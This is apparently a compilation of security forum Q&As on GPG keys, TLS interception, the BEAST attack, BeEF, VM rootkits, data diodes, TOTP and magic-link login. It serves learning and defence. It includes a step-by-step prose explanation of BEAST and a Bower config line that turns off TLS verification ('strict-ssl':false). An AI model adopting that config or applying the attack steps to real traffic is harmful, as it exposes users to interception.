GPG master key without email address I would like to create a new GPG key. Going through a couple of thread it seems like the most popular scheme for maximum security is to have an offsite master (sign-only) key which provides a shell for a couple of daily-use subkeys.

As the master key could probably serve one a lifetime I was thinking about putting only my real name into it without any email address as they possibly will change anyway over the years as well as nobody shall send an email to the master key as well. Is this a good practice, should i put a comment like (master signing key) or my birthday/birthplace in it? What would you recommend?

Your primary key (which is the OpenPGP saying for what you called "master" key) is the entity all other subkeys and user IDs are bound to.

Having an Offline Primary Key

  Going through a couple of thread it seems like the most popular scheme for maximum security is to have an offsite master (sign-only) key which provides a shell for a couple of daily-use subkeys.

Storing it offline can be reasonable to enhance it's security, as chances of getting hold of it in case your computer gets corrupted are lowered; it would have to be on your computer at the time being corrupted. I posted some more elaboration on offline keys in another answer.

Back to your questions:

Primary User ID Without Mail Address

  I was thinking about putting only my real name into it without any email address as they possibly will change anyway over the years as well as nobody shall send an email to the master key as well.

This is preferred by some OpenPGP users, as it decouples the person (you) from something you own (your mail address). Mail addresses tend to change over time, but you will very likely stay the same person with the same name for a long time (name changes, possibly through marriages, are rather infrequent).

Like already mentioned above, your primary key actually will never have a user ID (mail address) included. Instead, usually the primary user ID will be printed next to it.

This is usually the first one created, but this can be also changed whenever you want – also for existing keys with a primary user ID containing a mail address. To do so, run gpg --edit-key [key-id]. list the user IDs, and select the one you want to make the primary by typing its number. The next list will print a star next to the user ID. primary will make the the primary user ID.

Further Details in the Primary User ID

  Is this a good practice, should i put a comment like (master signing key) or my birthday/birthplace in it?

There are pros and cons to this. Your place and date of birth, together with your name, are usually sufficient to really uniquely identify you – depending on how common your first and family names are, there might be other persons with the same name, but very likely not the same place and date of birth. On the other hand, these might be enough to misuse your identity, and depending on your society might be considered very intimate details of your life. Remember you will not be able to undelete anything that found its way on the key servers! But also think about what you but in your social web profiles. If you're listed on some find-my-classmates-website, your age is listed on Stack Overflow and your friends post birthday congratulations on facebook, these details are not private any more anyway.

  What would you recommend?

My master key is offline, and it has a primary user ID containing name, place at date of birth.


How secure is user-mode Linux, in terms of protecting the host system? Two questions about User-Mode Linux:

Suppose that a privilege escalation attack is used to gain root in a UML guest. Assuming modern (3.0 or later) host and guest kernels, is it trivial to escape the sandbox, as with a chroot? Or is it more difficult?
Is it possible to run a privilege escalation exploit against the host kernel directly, from within a UML guest? Or is bypassing the UML kernel not practical for an attacker?

I don't know how exactly a UML kernel is run on the host system. I'm entirely speculating, but my speculations might be useful if you can combine them with some documentation on UML implementations.

Privilege escalation in the guest with a guest-specific exploit

Being root on the guest kernel should essentially allow you to do whatever you want with the privileges of the PID that was used to run this kernel.

If running a UML kernel is done with UID 0 (which I would assume is unlikely), the process does not run in a PID namespace, and the process has been left with one of the many capabilities allowing full privileges, then you're in deep, deep trouble and should consider the whole host to be contaminated.

If that process runs with UID 0 outside a PID namespace but with some form of MAC enforcement, what it can do and how it can persist depends on the specific system. SELinux roles could come in as particularly handy to add extra protection. You're likely in trouble as well.

If the process runs with another UID, or is locked down into a PID namespace, you're more likely to be protected. The guest VM will be done for, but there should be limits to what your adversary can do and the rest of the host system could be decently protected.

Privilege escalation with an exploit also applying to the host

It's not unlikely that the host to your UML kernel is the same kernel. So, assuming an attacker has found a way to abuse an UML kernel it would be reasonable to assume they also have an exploit for the host kernel, except for:

Namespaces and MAC might provide some amount of protection by ensuring that less of the Linux syscall interface is available and that might prevent your attacker from running the exploit.
An exploit that is based on an untrusted module only present in that guest kernel would likewise not lead to a compromise of the host.


SSL and Strategy to prevent destination URL from being revealed Googling the subject "sniffing out / spying on SSL secured communications" one finds many references to being able to make some good guesses about the "target destination" once the path length is known/guessed.

Would it help if one just would make the length (in terms of number of characters) unusually long, which is easy enough to do, so that this "length" of the URL does not fall into the usual patterns?
Assume that a PHP application is sitting on "server1.com" and passes from there (that's where a sniffer would start looking) an API call via SSL to "server2.com". "server2.com" would do nothing else but taking that call and "translate" it to call "server 3.com" (also SSL secured) as the final recipient... Servers 1,2 and 3 are with different ISPs and in different geographic regions.

Would that make it seriously harder to trace where the request goes to (and the answer comes back from, assuming the return would follow the reverse way)?

Thanks

P.S.: I am asking as we are discussing internally that (just) one aspect of "security" is to limit "the opponents" amount and quality of information he has about your system, which is much easier to assess once he knows where your system is sitting URLwise, hence our ongoing discussion about suitable strategies to obscure the "target destination" for the API call so that this destination is much less likely to be "investigated" about it's systems to identify it's weaknesses (which of course always do exist, to larger or lesser extent)

You're thinking of a reverse proxy. The submission target isn't the actual target but a proxy that relays the data to the actual target. I don't see the point of such strategy from a security point of you. The security of your system must not rely on it being obscure or hidden, it must be an intrinsic property of the system itself. The problem is that you're looking into this from the wrong angle; this has nothing to do with vulnerabilities in SSL/TLS.

Even if CRIME and BREACH never existed and no secrets in the SSL/TLS sessions were possible to reveal, all it takes is for someone to use your application to reveal the submission target server. Actually, they don't need to do that, they can simply look at the traffic to see where it's going. SSL/TLS doesn't hide the destination IP address, and the vast majority of DNS queries are sent in the clear.

This is just one layer of obscurity that should be discussed after the underlying security has been thoroughly assessed.


VeraCrypt secure in public? I have made a Veracrypt Containment that uses AES to encrypt everything inside. But my question is: can I securely put the containment file in public (everybody can access it) without anybody able to access the files inside it?

PS. Some information below may help to answer the question:

I use VeraCrypt to encrypt files.
It uses AES-256.
My password-length is 32 characters.
The password contains characters from ASCII

AES-256 is perfectly adequate (in fact, AES-128 is perfectly sufficient too, and arguably better according to some experts' opinion) to protect any data that you may have, provided that

Your password is not only long (as you stated) but also not guessable.
The software you use has no backdoor (Veracrypt to my knowledge doesn't have one).

However, the mere fact that someone knows you have something important may already be undesirable. It may rise their attention.

If someone sufficiently evil (criminals or governmental agencies) is sufficiently convinced that you have something of value that they want, but they cannot get it without the key, they will force you to hand over the key.
In other words, anything you encrypt is, in the end, only as secure as you are (which is not very secure at all, if you care about your health).


What is the best practice when corporate network is overwriting SSL certificates? The company I work at has started to overwrite SSL certificates with their own self issued one so that they can monitor traffic to the internet more closely. They also installed the corresponding CA to the certificate store. When this occurred various applications stopped working since the certificate that is being sent back from the network is not a trusted CA for that program.

Why do some programs (like Chrome and IE) work, and some (Firefox, NPM, GIT) don't?

Is this the right way to do all this?

I am wondering if telling every program to use this CA is the way to handle this problem. Seems very annoying to have to let every program know that a CA is ok.

The main question is:

Given that a corporation is overriding SSL certificates, what is the best way to get things working again when they do not rely on the OS level Certificate store?

Would it be to tell IT not to override SSL certificates to these services/site?
Would it be to use a proxy?
Would it be to do what I am doing and tell every program to allow the overridden SSL certificate?

So this is what I have done to get various programs working:

To get the Certificate so that you can import to other programs:
 1. Open Certificates by running ”certmgr.msc” in cmd
 2. Go to “Trusted Root Certification Authorities” > “Certificates”
 3. Right click internet > Export
 4. Select “Base-64 encoded X.509 (.CER)”
 5. Save to c:/temp/internet.cer

To get Firefox working:
 1. In the address bar, enter “about:preferences#privacy”
 2. “View Certificates” > “Authorities” > “Import”
 3. Select “c:/temp/internet.cer”
 4. Select the trust type of “Trust this CA to identify websites”, then click “Ok”

To get GIT working:
 1. Open Cmd as admin
 2. git config --global http.sslCAInfo “c:/temp/internet.cer”
Do not run git config http.sslVerify "false"

To get NPM working:
 1. Open Cmd as admin
 2. npm config set cafile “c:/temp/internet.cer”
Do not run npm config set strict-ssl false

To get Bower working:
 1. Open Cmd as admin
 2. cd %UserProfile%
 3. echo {"ca": "C:\\temp\\internet.cer","strict-ssl":false} > .bowerrc

Operating systems have root certificate stores to attempt to centralize this. The problem is several applications choose not to trust it.

Firefox chooses by default not to trust the store. You can make it do so by setting security.enterprise_roots.enabled to true. There are ways to roll this out to all users simultaneously including via group policy to deploy the necessary locked config files.

Git, bower and npm suffer similar issues except none to my knowledge have methods to make them trust the root store. You need to modify or replace the trusted certificate stores for each application - this should be possible via normal domain management tools.


BEAST some misunderstandings I was reading the Here Come The ⊕ Ninjas document about the BEAST attack discovered by Thai Duong & Juliano Rizzo. There are two points I cannot understand.

At the section 5 - Application: Decrypting HTTPS Requests, they explain step by step to makes this attack possible.

I will be focus on Step 3 and Step 4:
(Reproduced as plain text here. A nicer LaTeX rendering is on page 7 of the paper.)

Step 3

  Let IV be the last ciphertext block that Mallory captures, e.g., IV is
  Cn after step 2. Mallory computes Pi = IV XOR C2 XOR Pguess, where Pguess =
  P/1.1\r\nW[i]. Mallory appends Pi to the existing request, e.g.,
  Pi is appended to the request body (this is the last assumption.)
  Alice’s browser would compute Ci  Ek(IV XOR Pi) and send Ci to server.

Step 4

  Mallory captures Ci. If Ci = C3, he knows that X is equal to W[i].
  Otherwise he increases i and goes back to step 3.

Meaning that Mallory captures C1 and compares the encrypted block C1 = C3? Because IV is used to be XOR with P1 so why do they speak about Ci like it can be C1, C2, C3 .. Cn when it can only be C1?

In fact this reflexion comes from this :

Pi is appended to the request body -> the request body of an HTTP request? There is no sense to put this in the request body! Meaning IV is only use with the P1 block.

So what's the point of putting Pi in the request body ?

Yes Pi is appended to the body; (re)read the paragraph labelled Blockwise Privilege at the top of the page. Remember HTTP and thus HTTPS is a stream protocol; if you make a request to upload say 100 gigabytes uncompressed video you probably won't do it in a single step. To restate a little more finely:

Step 1 Mallory's code causes something in Alice's browser to open a connection and begin a request. It formats the HTTP request header plus the initial part of the body (which actually might be empty), plus an HMAC and padding not relevant to the attack, forming the first data record blocked as P1 .. Pn, encrypts those to C1 .. n, and sends those blocks. For the example, block P3 (encrypted to C3) contains a known value except one byte of cookie Mallory wants to guess.
Step 2 Mallory captures C1 .. Cn
Step 3A Mallory forms Pi = (IV=Cn) xor C2 xor Pguess (a guessed value for P3).
Step 3B Mallory's code tells the something Pi is the next block of the request body. It therefore creates a second data record beginning with Pi (or if you prefer, P2001 to mean the first block of the second record) plus other stuff we don't care about, encrypts it using IV (or IV2 for second record) = Cn, producing Ci .. ignored (or C2001 .. C200x). Mallory captures these.

If Pguess was correct (Pguess = P3) then
the block Ci/C2001 encrypted from Cn xor (Cn xor C2 xor Pguess=P3)
is the same as the block C3 encrypted from C2 xor P3.

However, unless you have really old (and probably horribly unsafe) systems, you can no longer exploit BEAST, because practically everybody has implemented data fragmentation to block it. See https://stackoverflow.com/questions/15224909/jsse-wrap-creates-two-tls-packets-requiring-two-unwraps-why/15225921#15225921 .

(PS: That document is PDF, not LaTeX. But it makes no difference to the meaning.)


Retrieve files from possibly infected USB I work in a lab environment, and save data to a shared PC. This PC is not networked, and so the only way to get the data from that PC to my own, is through USB. The lab director has mentioned that the PC has been infected with malware many times in the past few years, and to be careful not to infect it again.

It's not the lab PC I'm concerned about though. In order to analyse my results, I need to copy the data to a USB and then plug the USB into my own machine and copy the files to it.

I'm worried that I'm going to end up infecting my machine. Is there any safe way that I can move the data with minimal risk to my own machine?

There are a few things you should do:

Disable autorun, this way you won't start any install scripts
Use an updated firewall / virus scanner, for obvious reasons

Or you could run a linux live cd and copy the data.


Why don't we use MAC address instead of IP address? I can use the system function in PHP to get the MAC address of site visitors (probably most of you know). Why do we use IP addresss to check whether someone is stealing a cookie or not?

Does the system function have more overhead, or is it still insecure when we don't send any parameter to the function?

I know there are some situations in which users change their MAC address, but it happens less than IP address.

Could you shed some light on it?

The reason for that is very simple: You won't get the MAC address of your website visitor over the Internet, because they are lost when the packets are routed. You can only get the MAC addresses from your subnet (through, for example, ARP).


How to detect passwords in wiki pages? Is it possible to use any automated scanning tool in order to detect stored passwords in our internal wiki pages?

You're trying a technical solution for a people problem. This won't work.

Storing passwords on internal wiki pages is not a good idea. You never know when they may accidentally be disclosed (e.g. screen sharing during a meeting with externals). However, automated tools are not that good at detecting what may be a password and what may be some other technical data (host names, etc.).

Any solution you come up with will either have a sizable chunk of false positives (meaning, it will recognize things as "potential passwords" that are in fact not passwords) or it will have just as many false negatives (meaning, it will classify something as "not a password" when it in fact is a password).

A much better solution would be to explain to people why storing passwords in the internal wiki is a bad idea and, most importantly, how they can do better. Should you still find passwords in a wiki after that, have an informal talk with that person. Don't be like "You did a bad thing and I am scolding you", but more like "I know you did this because you're trying to do your job, but if you do it that way, it not only is safer, but also makes your job easier".

As for how to actually store and distribute passwords, you can consider password managers. There are several products out there that offer password management for teams, so you may need to do some digging and some case studies on what works best for you. For example, you could buy a smaller license for just one or two of your teams of product A, and the same for product B and C - then two months later, you compare which teams made good experiences, and which teams made bad experiences.

Not only does this give your teams the feeling that they're involved in the decision making, but it also sneakily trains a part of your userbase on how to use a tool, which they can then help other users with.


Teaching a loved one about secure coding practices This might be far too narrow, but it is a unique problem to ITSec professionals. A loved one is just starting out in a new programming career and I get the joy of watching her learn the most basic programming concepts from scratch. She is at the top of her class in each of her college courses, producing high quality work, and she has attracted so much attention that she is already getting contract work.

As ITSec pros, we talk about infusing the development cycle with secure coding practices and design, but how does that apply to a brand-new learner? A new programmer is at the start of their own 'lifelong development cycle', at it were. At what point is it appropriate, from an educational perspective, to switch from the mindset of 'getting it to work' to 'it absolutely must be secure'? At what point should a student 'fail' an assignment because of a security issue?

She completely understands the need to produce secure code, and wants to, but none of her classes have introduced the idea and keeps coming to me for code review and analysis. When should the switch be made to force her to re-design all the class assignments to use secure design?

I don't want to cut a promising career short by introducing frustrating requirements, but I also want to give that new career the best possible start. In addition, are there resources to help me teach her the basics of secure coding from a beginning programmer's perspective? I find that I'm making it up as I go...

I welcome your advice.

At what point is it appropriate, from an educational perspective, to switch from the mindset of 'getting it to work' to 'it absolutely must be secure'?
At what point should a student 'fail' an assignment because of a security issue?
When should the switch be made to force her to re-design all the class assignments to use secure design?
Are there resources to help me teach her the basics of secure coding from a beginning programmer's perspective?

As a side note: I have noticed that by raising the bar in my code review of her class assignments, just in terms of basic 'validate and sanitize' security, she has ended up producing very high quality code in general. From this one example, I think I can see the value of starting one's education this way because it forces an even deeper understanding of data flow and programming logic.

I would say a great way to learn is for her to break the applications she has already written.

Assuming she is writing web applications, point her towards the OWASP Top 10. Have her see if she can find any of those flaws in her own code. There is no better way to learn about security concepts than actually seeing it happen on your own code.

Once a flaw has been found, have her rewrite the application to fix the flaw. Doing so will allow her to appreciate the effect of things like sanitation and validation of user inputs and parameterized queries.

Take incremental steps. I wouldn't jump straight into designing a new application with security in mind before truly understanding what type of codes result in security flaws.


How to get TOTP password with hmac sha 512 as hashing function? ive never learned about javascript and network security before, but lately ive taken on some programming challange but i have to send my project link via http post request, and i have to figure the password, the authentication use TOTP with hmac sha 512 as hashing function with given secret key, for past few days im trying to understand what it is all about like totp hotp hmac etc, and i get the idea i have to convert the secret key according to the algorithm, is it? But the algorithm are very new to me and i confuse what should i do to generate the password, anyone could help me? Or at least explain to me what should i do?

There is nice RFC describing the TOTP: RFC 6238, which mentions also usage of SHA-512. I did this in my implementation of OTP token in Javascript. But even the RFC has code examples in Java (same as freeOTP).

The algorithm is basically the same for all hashes. Basic idea is to take time (rounded down to 30 second boundary by default) and generate the HOTP of this value (instead of counter for HOTP).

HOTP later is basically HMAC with secret encoded in hexadecimal and with the counter (from above -- time for TOTP) padded to specific amount of digits. From the resulting hash, you take only specific part according to RFC.

For playing around, there are several web applications/jsfiddle that can generate you the TOTP on the fly, but they are certainly not for real-world usage.


Is there any way for me to trace the TeamViewer ID of a machine that hacked in? I am wondering if there is any list I could access to find TeamViewer ID's, as the police are not being helpful about this.

To answer your question, you could try to find the teamviewerID via either teamviewer's logs or the registry of the victim's PC.

The local teamviewer log file will be in C:\Program Files (x86)\TeamViewer\Version8\TeamViewer8_Logfile.log or similar (as described here).

Also look in ..\AppData\Roaming\TeamViewer\Connections.txt for potentially more information on who connected to you.

Lastly, there is a wealth of information in the registry itself, as described in the link given.

There are plenty of articles out there on where to look exactly. search for teamviewer forensic artifacts.

I'd say that if you look in these files and can present some basic proof (unknown Id 'x' accessed my pc at 'y' time) to the law enforcement, they may look into it further.


How does a root kit work inside a virtual machine? In my class, we are discussing virtual machine based root kits.

I've research root kits, but could not find any information specifically talking about how root kits work inside of virtual machines

Can someone explain me in a few words how an attacker would carry a rootkit attack against the virtual machine and how he would implement malicious services or anything regarding how installing a root kit in a virtual machine is different than on a physical machine?

As stated above, root kits work similar on a virtual host as they do on a normal host EXCEPT that many malware/virus/rootkit authors have developed mechanisms to detect whether or not they are in a virtual machine, so they can be scripted/programmed to behave differently than they would on a normal machine.

This is highly evident when reverse engineering malware, where malware will behave different if it detects it is virtualized. Some of the behavior may be to stop from doing its normal routines/functions, try to delete itself. This is similar to malware checking to see if a host is running reverse engineering tools, e.g., IDA Pro, OllyDBG, Immunity Debugger, Redline, etc.

VMWare has an "antirootkit" approach to certain things since the vmware agent will monitor things like changes to the SSDT and IDT (system service descriptor table, and interrupt descriptor tables). At the end of the day though, the behavior is MOSTLY the same.


What is the state of the art precaution to try out dubious software most likely safely today? I want to try out dubious software on my windows 10 computer.

(Bold parts are keywords for the TL/DR fraction)

What is the state of the art precaution to do this most likely safely today?

The software I want to install requires admin rights to install. I did some research and it was conflicting, so I decided to not share it to not influence the answers.

To make this specific.

Is a sandbox like sandboxie sufficient when I use my computer with admin rights and uac.
Is a virtual environment like virtualbox sufficient when I use my computer with admin rights and uac.
Should I create another user without admin rights?
Should I try to remove the admin requirements from the exe and go to 1-3?

What are best practises today?

It depends how thoroughly you'd like to try them out. I'm going to assume that you're not looking to understand everything about how the application works, but are more interested in taking it for a spin without cryptolockering yourself.

My suggestion would be to use a non-networked VM. VirtualBox or Hyper-V are both free, and you can download trial versions of Windows here.

If you wanted to get a bit more thorough, you could look at outbound DNS queries from your VM for shady domains.


mlock and context switching A common recommendation is to keep encryption keys and other small secrets in mlock-ed memory.

Unfortunately secrets in registers will still be spilled if a thread gets preempted. Are there ways to ensure the kernel overwrites the spilled data rather than leaving it to linger or do kernels already ensure it?

Does the kernel save registers in the same location each time? I'm mostly interested in linux, though I wouldn't mind something portable.

There are multiple things that can cause register spillage, from thread preemption as you mentioned to all kinds of interrupts. There is currently no way to prevent this, short of completely disabling interrupts (which is difficult when you take into account NMIs and SMIs) and preemption. This can only be done in kernelmode, and makes a computer completely unusable.

I think the issue is that you misunderstand the purpose of mlock(). It is not designed to keep sensitive information out of RAM (after all, locked memory is still memory), but to prevent it from being swapped to disk, either for security or performance reasons. Registers that have been pushed to the stack during a context switch are not subject to being swapped out in the first place. As soon as the context switch is over, the registers are restored.

  Does the kernel save registers in the same location each time?

The registers are saved to a few locations, depending on the origin of the context switch. In the kernel source file arch/x86/entry/entry_64.S, general purpose registers are pushed to the stack, usually using dedicated macros. They are later restored using pop. The relevant macros (such as SAVE_C_REGS and RESTORE_C_REGS) are defined in arch/x86/entry/calling.h.


Data Diodes and TCP traffic Data diodes (one-way networks) are often used to effect a hardware based 'air-gap' for high security sites. How do they deal with protocols, such as TCP, that require replys?

I have some inclination that data diodes installed in both directions with some sort of proxy server in the middle might be the answer but am not sure how that does not reduce/compromise the effectiveness of the one way networks. It seems that firewalls and proxy servers would pretty much do the same thing? Am I off track??

It depends on the implementation and on the security requirements. There are solutions which have no back-channel at all in which case you can never be 100% sure that the data are received at the other end. One can try to compensate this by sending the data often enough or with enough error correction but at the end it will not be noticed if the receiver system is simply broken - because there is explicitly no way to get acknowledgments.

And then there are solutions which try to find a different compromise between usability and security by providing a minimum back-channel. One product I know deeper consists of three parts: a micro-kernel in the middle and firewalls on both sides of the micro-kernel. The one-way functionality  is implemented using a micro kernel task which uses only minimal code and can thus be better checked for correctness of functionality and robustness. And on both sides of this micro-kernel are the more complex firewalls where applications translate TCP, UDP, FTP or SMTP traffic into the custom one-way protocol transferred by the micro-kernel and back. The minimal back-channel provided by this protocol can signal only success or failure which is just enough to provide early feedback for example in case the receiver crashed and cannot receive more data or even if the FTP transfer failed because the password was wrong.  TCP flow control and similar features are implemented by the applications on the firewall and do not travel the micro-kernel.

  It seems that firewalls and proxy servers would pretty much do the same thing?

Not really true and not really wrong. The larger the code base is which implements the essential one-way functionality the harder it gets to be sure that there is really only the one-way to communicate. The nice thing about data diodes based on a physical one-way property (like light emitter and receiver) is that they are obviously one-way and can only be bypassed if the attacker has physical access to the system. But the more you move the one-way property away from the obviousness the harder it is to be sure that it is really only one-way.

For example: with physical one-way one could obviously compromise both sides of the  diode and still be sure that the one-way property is kept. With the micro-kernel based solutions I've outlined the firewalls on both sides could be compromised too without loosing the one-way property. But it will get bad if the micro-kernel would be compromised. But that's considered impossible without physical access in this solution because the micro-kernel is just what it says: minimal code base, interaction with the outside only through the one-way task and this minimal task is hopefully secure against exploits. With a proxy solution on a single firewall appliance it would be instead enough to compromise this firewall in order to work around the one-way property. Given that firewalls are complex this can be considered more likely than exploiting a micro-kernel or even a physical separation.

Thus: you could achieve one-way functionality using a simple proxy solution but it is hard to prove that it only does one-way in all cases, even if attacked. And the market where data diodes are used has usually high security requirements and often requires that you not only claim that your solution is secure and resistant against attacks but also that you can prove it more or less (i.e. certificates, independent evaluations...). And obvious robustness  by design really helps in this case.


What are the benefits and drawbacks of emailing a user a login token/link? The Question

I was reading a forum last night discussing the idea of emailing a user a login link, much like a password reset link, so they don't require a password. Their email address is already verified on sign up using a similar such link and I see them as being fairly similar in principle to a reset password link.

The Process

The user would visit the site, enter their username and be emailed a login link valid for 5 minutes. They click the link in the email and they are logged in.

Drawbacks

My initial concern was if an attacker had access to their email, but, they could simply use the password reset process on most sites to access the account in this situation.
The inconvenience to the user of having to login to their email to retrieve the link.
Email is not necessarily a secure medium to exchange the login link.

Advantages

As the host you don't need to store the user's password and worry about a breach disclosing it.
SSO presents a single high value target for an attacker and requires implementation on your site. Does this method draw a parallel but without the dependence on the SSO service?
The user doesn't have to remember another password which would likely be a duplicate of a password elsewhere or very weak.

Thoughts

The login token would have to be both strong and random to prevent brute force attempts on it and could also contain some form of user ID to reduce the scope of an attack. Are there any other major advantages or disadvantages you could point out in the above from a security  standpoint?

If you're relying on the email address to verify the original user's identity, whether for login or password reset, then a compromise of the email account means a compromise of the website's account. Therefore, I don't see any elevated security risk in this login scheme. In fact, this is essentially like using a third party authentication service. Think, logging in to StackExchange using your GMail account.

Combining this login scheme with good security practice such as using HTTPS, avoiding injection vulnerabilities, etc. can makes it on par with a password-based login scheme. The only advantage I see here is that the user will now have to remember a smaller number of passwords, that's it. The obvious disadvantage is, of course, the inconvenience of having to go to my inbox, open, the message, and click the link every time I have to login to that website.

If you're planning to use this, I highly recommend having a fallback option to allow the user to login with his password in case he doesn't have access to his email account for any reason.


Who will notice a data breach more likely, me or an online password manager? Assuming somebody has managed to get your encrypted password database. If the encryption and the password are strong I assume it will be almost impossible to crack the encryption in a lifetime, but anyway what could be the worst thing happening in such a situation?
I think the worst thing is not noticing the data breach. As long as you don't know about it you are not able to act and this means more time for the attackers. As soon as you know about the data breach you can change all your passwords, so the encrypted and stolen data will be worthless.

In this scenario I want to consider two ways of storing your password database. Local on your machine (any device you own) or online on the servers of a password manager company.
Who will notice such a data breach more likely and quicker? In which scenario is the user able to act quicker?

The question is not, how the data breach is done or what has a higher risk of getting hacked.

Unless you're actively managing your password database on a regular basis, an online password manager company is probably more likely to notice the "breach" (as you've called it) sooner. That said, even though they may notice it sooner, they may not take action or notify you right away - which would impact your ability to act. So, I'd say it's probably fairly even in a users ability to react to a breach event (locally stored vs stored in the cloud by a vendor) IF they are actively monitoring their password usage. If they're not actively monitoring their passwords/password manager, then the obvious answer would be that they'll act once they're informed by a vendor that a breach has occurred (hopefully).


Find rogue access point if area is saturated with networks What do you do if you scan for rogue Access Points and find that the area is saturated by surrounding businesses with their own wifi?

I recently scanned for wifi networks and found 60+ networks just by walking around. I know some of the networks I will have to deal with such as printers, but how do you go about seeing if an ESSID is coming from my network or is a network from an adjacent business?

That is not easy to know... it is supossed that you know the ESSIDs and BSSIDs of your own business. You can check the entire list in first place to see if everything is matching. The procedure from this base could be the following:

How to know if there is some rogue AP?

If you have your list updated you'll know about any strange MAC on your ESSID. In the case the Rogue AP cloned one of your MAC addresses, you'll see one of your BSSIDs duplicated and that is a very suspicious thing that only can mean there is a rogue AP independently of where it comes.

How to know where is the rogue AP coming?

Once located the data of the Rogue AP, the only method to know where is it, is to measure the signal strength and moving around you'll see if the signal is increasing or decreasing. AFAIK there is no other method.

Conclusion

I know if there are more than 60 networks, the scan list is an absolute chaos and is not an easy task. That's the reason about is important to audit regularly your wireless network to make the inventary of the legitimate Access Points. This is precisely one of the points on the known PCI Compliance. It forces to a company which is handling credit card and banking data to perform this auditory every 3 months. Anyway in my opinion is a good practice to perform this on any company even if is not handling banking data.


BeEF - What are the Indicators of Compromise (IOC) If a phishing email came through with a link to a website hosting BeEF (or another such framework) what would be the Indicators of Compromise for such an attack.

Additionally, if systems were compromised what would be the best strategy to mitigate it.

I'd first like to make sure you fully understand what Beef is and what it's used for.  Beef is a tool for performing exploitation in Man-In-The-Browser scenarios.  The gist of it is a user's browser executes the beef hook script (either via xss, or in your scenario, a phishing site), the script then calls out to the Beef server, and the server is then able to push arbitrary javascript commands down to the browser.  The end result is that the attacker controls the user's browser window, and can do almost anything the user can do.  Beef is not so much a specific attack as much as a vehicle for performing other attacks.

IoCs would depend on what the attacker did with it.  Minimally you would likely find some JavaScript artifacts, and maybe some packet captures would find calls to the Beef server.  If the attackers used Beef to install malware, there would be IoCs for that particular malware.

Mitigating an active Beef session is easy.  Just close the browser.  If the attacker has used Beef to install malware, that will require mitigation specific to that malware.


Can "something you are" be implemented without effectively turning into "something you know"? According to what I've read and heard, multi-factor authentication is supposed to use multiple different types of authentication factors, rather than just different instances of the same kind (e.g. multiple passwords.)  One of the most frequently-mentioned types of factors is "something you are," usually biometrics such as your fingerprint, retinal scan, voiceprint, etc.

However, any practical implementation of "something you are" requires that the authentication take place by comparing the user's fingerprint, retina etc. with some sort of known master copy, established beforehand.

Doesn't this, in effect, turn the "something you are" into "something you know," i.e. a shared secret, with all of the vulnerabilities traditionally associated therewith?  The fingerprint scan (or whatever it is) can be intercepted, copied, acquired from a compromised server, etc.  Admittedly, it's not as vulnerable to social engineering attacks because the user doesn't "know" his or her own fingerprint, at least not in a way that can be used by a third party.

I realize that if the verification process is by computer, then the "something you are" will be converted into "something knowable" (information) at some point.  My question: is there a way of doing this that mitigates the vulnerability?  I'm thinking of something similar to the way a private key stored on a smart card is effectively "something you have," even though the key itself is still technically information.

I'm not trying to implement such a system, I'm just asking out of curiosity.

Just because it is stored somewhere doesn't make it "something you know". You don't ever really "know" your fingerprint or iris layout as it is too complex to know or remember. But that is really just semantics, I wouldn't try to over-think the terminology.

As you correctly point out though, that doesn't mean someone else doesn't know it. The server keeps a (hopefully) encrypted copy.

In addition, it may be possible indeed for an attacker to gain a sufficiently detailed "copy" of your biometric to be able to replay it.

This is particularly problematic for a fingerprint as you tend to leave copies of them everywhere!

That is why fingerprints in particular should never be considered as replacements for an id/password but rather as complementary too them. Fingerprint logins are a convenience not a high security feature. They are relatively low security, better than users not being bothered to use any password but nowhere near as good as a strong passcode. Remember that, in particular, biometrics cannot ever be changed, once compromised they are always compromised.


Signtool validation fails when signing and validating are done in different machines I am signing an exe from a machine using a cer file. Then when I validate the EXE using the signtool.exe from the same machine, it succeeds. But when I try to validate it using the same .cer installed in another machine it fails with the following error.

SignTool Error: A certificate chain processed, but terminated in a root
certificate which is not trusted by the trust provider.

Number of errors: 1

In this other machine in which I'm trying to validate, the .cer file has been installed into the Trusted Root certificates set. But still why I am getting this error? any help would be much appreciated.

Below is how I sign the file.

makecert.exe -r -pe -ss ROOT -sky exchange -n CN=InstallerCert KubeInstallerSign.cer

A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider.

This message means that you signed the binary successfully and signtool could process the entire certificate chain, but the root certificate isn't trusted by the machine.

What this means, on a higher level, is that signtool knows it was signed but it doesn't know who signed it, and so it's not a very useful signature. If you're using a self-signed certificate, you can fix this by copying your certificate to the target machine and installing it there; a better solution if you want your users to trust you is to buy a code signing certificate from a reputable certification authority and sign your code using that.

Either way, this will mean that the target machine will now know who signed it and be able to verify that the signature is valid.


Magic links: JWT vs random string Tutorials I've come across about implementing magic link authentication (in Node) recommend a mechanism like this:

the user hits your endpoint with their email address
you generate a signed JWT from the email and the date using a constant key (if you are a bit more savvy, you use the asymmetric RS256 scheme instead of the symmetric HS256 used in most tutorials (being the default I think))
send the email with the token as a query parameter
user clicks, endpoint gets hit, you verify the JWT, then the email and the date inside

Apologies for the possibly very small brain question, but why do we actually need hashing or encryption here?

Would it not be more prudent to just generate a large (like 50 chars), unique, random, alphanumeric string (let's call it LURA) then store it, the email and the date and send it to the user? When the verification endpoints get hit, we can say, "yepp, I have that thing on file and I issued it 2 minutes ago, in you go". The purpose of using JWT would be to verify that I was the one who created the token (with my key), but I can also verify that if I just see if I have the LURA string on file, right? Also, JWT has problems. I have a feeling JWT was intended to be used when the machine that's validating it is different then the one issuing it and that its use is detrimental to security in this case.

Bonus question: I've read multiple times regarding encrypting passwords, that SHA256 is way too weak in 2020 and that one should pick Argon2. Why then is RS256 a good choice if it is "to be understood as SHA 256 with RSA 2048 bits keys".

It's true that you can use a random string for the magic link and it'll work just fine. However there are a few benefits for choosing to implement it using JWTs:

JWT validation doesn't require a call to the database. This is perhaps the main benefit of using JWTs at all. Depending on the number of users this can mean a significant performance difference.
It is easier to integrate with existing login mechanisms such as identity providers (possibly 3rd party) that already handle creating/verifying/storing tokens. This is useful for example if your application is already using tokens for logging in users with the traditional username/password combination and want to add magic links as an additional option.

As for your question on the algorithms, for RS256/HS256 in JWT the purpose is not for encryption but for signing. The requirements on the algorithm for secure encryption and signing are different (and even more different if talking about password hashing).
As an additional note the reason to choose between RS256 and HS256 is whether or not you intend to allow others to verify your token.
For RS256 you create a public/private key pair. You generate the signature using the private key while a third party can verify a token you created using your public key. For HS256 the key for signing and verifying is the same so normally you keep it secret meaning only you can verify the token.


Reusing the same session-ID necessarily bad? The question is related to session-ID management in a particular php-based web-app.

